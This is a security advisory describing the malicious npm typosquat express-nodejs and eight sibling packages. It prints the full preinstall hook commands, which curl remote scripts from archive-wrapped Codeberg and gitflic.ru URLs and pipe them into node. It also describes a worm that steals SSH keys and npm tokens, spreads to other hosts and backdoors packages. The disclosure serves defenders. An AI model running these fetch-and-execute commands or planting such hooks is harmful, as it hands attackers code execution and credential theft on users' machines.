MAL-2026-17243 Malicious code in express-nodejs (npm)

Malicious package Published
Package
express-nodejs
Registry
npm

What is MAL-2026-17243?

MAL-2026-17243 is a malicious package in express-nodejs, published on 29 Sep 2026.

Official description

The package express-nodejs impersonates the legitimate 'express' package (it republishes express's package metadata and code) and adds a malicious preinstall hook that runs automatically on npm install, before any dependency is installed: curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node. The hook downloads a remote JavaScript second stage from a Wayback Machine mirror of a Codeberg repository (hellscripter/install-scripts) and pipes it directly into node, giving the attacker arbitrary code execution on the installing machine. Version 5.2.1 was published on 2026-09-29. It is one of nine packages published within about 33 minutes by the npm account 'dirtyblanket' (maintainer email [email protected]), all carrying the identical preinstall hook: xeprews, express-javascript, express-nodejs, react-nodejs, exprdd, exprrdd, exptrdd, exptred, exptredd.

On Linux, node.js pipes linux.sh from the same Codeberg repository into bash. linux.sh (SHA-256 65f0a95b24e30305146346cbc2452cfabadab9e1ca35053e1134b67c38919577) is a worm. It installs a Go binary, systemd-fontd, as a systemd service named "Font Rendering Service" that proxies through Tor. SafeDep has not yet analyzed that binary. The script collects SSH private keys and known_hosts files, then connects to the known hosts over SSH and runs linux.sh on them. With the same keys, it pushes a linux.sh loader into the .install file of Arch User Repository (AUR) packages that the key owner maintains. For each package.json on disk, it adds the same preinstall script, runs npm version patch, and runs npm publish with each .npmrc it finds.

[email protected] is a typosquat of the Express framework that copies Express's package metadata (author TJ Holowaychuk, repository expressjs/express, homepage expressjs.com, matching description and keywords) while adding a malicious npm preinstall hook. The preinstall script in package.json runs curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node, which fetches a JavaScript payload from a third-party gitflic.ru user account (fronted by a web.archive.org wrapper) and pipes it directly into the node interpreter on npm install. The remote content is unpinned, unverified, hosted on infrastructure unrelated to the Express publisher, and controlled by whoever owns the gitflic.ru/hellscripter account; the executed code can be changed at any time without republishing the npm package.

What should I do about MAL-2026-17243?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

Sources

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